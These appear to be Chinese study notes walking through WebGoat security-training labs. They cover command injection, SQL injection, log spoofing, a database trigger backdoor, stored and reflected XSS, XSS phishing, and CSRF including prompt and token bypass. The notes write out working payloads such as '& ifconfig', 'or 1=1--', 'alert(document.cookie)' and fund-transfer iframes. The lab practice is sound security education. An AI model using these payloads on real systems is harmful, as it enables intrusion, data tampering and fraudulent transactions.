WebGoat 网安攻击模拟训练笔记

1 SQL语句注入

1.1 命令注入—Command Injection

1.1.1 操作说明

右键左边选择框的组建,点击检查,在<option>标签中末尾添加 & ifconfig

clip_image001

然后点击 View 按钮执行,下方显示 ifconfig(Windows下为ipconfig)命令的输出结果

clip_image002

1.1.2 结果截图

clip_image003

1.2 数字型SQL注入—Numeric SQL Injection

1.2.1 操作说明

右键选择框组建,点击检查,修改

clip_image004

修改完成选择对应的内容,然后点击 Go! 按钮执行

clip_image005

1.2.2 结果截图

clip_image006

1.3 日志欺骗—Log Spoofing

1.3.1 操作说明

通过日志的换行符(%0d%0a)来欺骗管理员,输入:q1jun%0d%0aLogin Succeeded for username: admin

clip_image007

点击login后:

clip_image008

1.3.2 结果截图

clip_image009

1.4 SQL字符串注入—String SQL Injection

1.4.1 操作说明

在输入框中输入 Smith ` or 1=1 – 使得查询SQL语句为:

1
SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--'

clip_image010

最后的 --为SQL语句的注释符,保证语句的正确,然后点击Go!

clip_image011

1.4.2 结果截图

clip_image012

1.5 数据库后门—Database Backdoors

1.5.1 操作说明

Stage1:

输入**101; update employee set salary=100000 where userid = 101;**

使其组成以下两条完整的SQL语句,第二条修改薪资为10w (不嫌多,嘿嘿)。

1
2
select userid, password, ssn, salary, email from employee where userid=101; 
update employee set salary=100000 where userid = 101;

clip_image013

Stage2:

根据提示,创建一个数据库触发器:

1
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

注入代码:

1
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

注入成功:

clip_image014

1.5.2 结果截图

clip_image015

2 跨站脚本XSS攻击

2.1 钓鱼攻击—Phishing with XSS

2.1.1 操作说明

构建XSS代码:

clip_image016

放入Search中,点击搜索:

clip_image017

下方提示输入账号密码进行钓鱼,等待用户提交:

clip_image018

2.1.2 结果截图

clip_image019

2.2 常驻攻击—Stored XSS Attacks

2.2.1 操作说明

在输入消息框中填入XSS代码:

1
2
3
<script language="javascript" type="text/javascript">
alert("This is XSS!");
</script>

clip_image020

提交后点击下方可以执行代码。

2.2.2 结果截图

clip_image021

2.3 反射型XSS攻击—Reflected XSS Attacks

2.3.1 操作说明

在digit access code框中添加:

<script>alert(document.cookie);</script>

clip_image022点击Purchase:

clip_image0232.3.2 结果截图

clip_image024

2.4块反射攻击—Block Reflected XSS

2.4.1 操作说明

Stage 1:

登入Tom的个人页面,修改LastName为: <script>alert('hello,hack');</script>

clip_image025

保存成功时会执行代码:

clip_image026

通过Jerry查看Tom资料时也会显示该弹窗。

clip_image027

2.4.2 结果截图

3 跨站请求伪造CSRF攻击

3.1 Cross Site Request Forgery(CSRF)

3.1.1 操作说明

在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金:

1
<img src="/Users/q1jun/Documents/笔记/课程笔记/软件&Web安全开发/attack?Screen=2078372&menu=900&transferFunds=5000"/>

clip_image028

点击title:

clip_image029

3.1.2 结果截图

clip_image030

3.2 CSRF Prompt By-Pass

3.2.1 操作说明

实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。

在email的正文中输入如下javascript代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<iframe

src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=5000"

id="myFrame" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300"

onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=XXX&menu=YYY&transferFunds=CONFIRM';">

</iframe>

<iframe

id="frame2" frameborder="1" marginwidth="0"

marginheight="0" width="800" scrolling=yes height="300">

</iframe>

clip_image031

3.2.2 结果截图

clip_image032

3.3 CSRF Token By-Pass

3.3.1 操作说明

进入CSRF Token By-Pass后在网页URL后加上transferFunds=main,用以进入转账页面,获取token。

clip_image033

回车:

clip_image035

通过转账页面输入5000进行提交操作,然后通过Burpsuite进行抓包:

clip_image039

分析所得数据包:

clip_image040

可以得到Post请求路径中的参数和CSRFToken的值!

接下来构造CSRF代码,注意以下参数:

clip_image041

复制到Message框中,点击提交:

clip_image042

在下面的Message List中点开邮件,输入5000并提交:

clip_image043

完成:

clip_image044

3.3.2 结果截图

clip_image045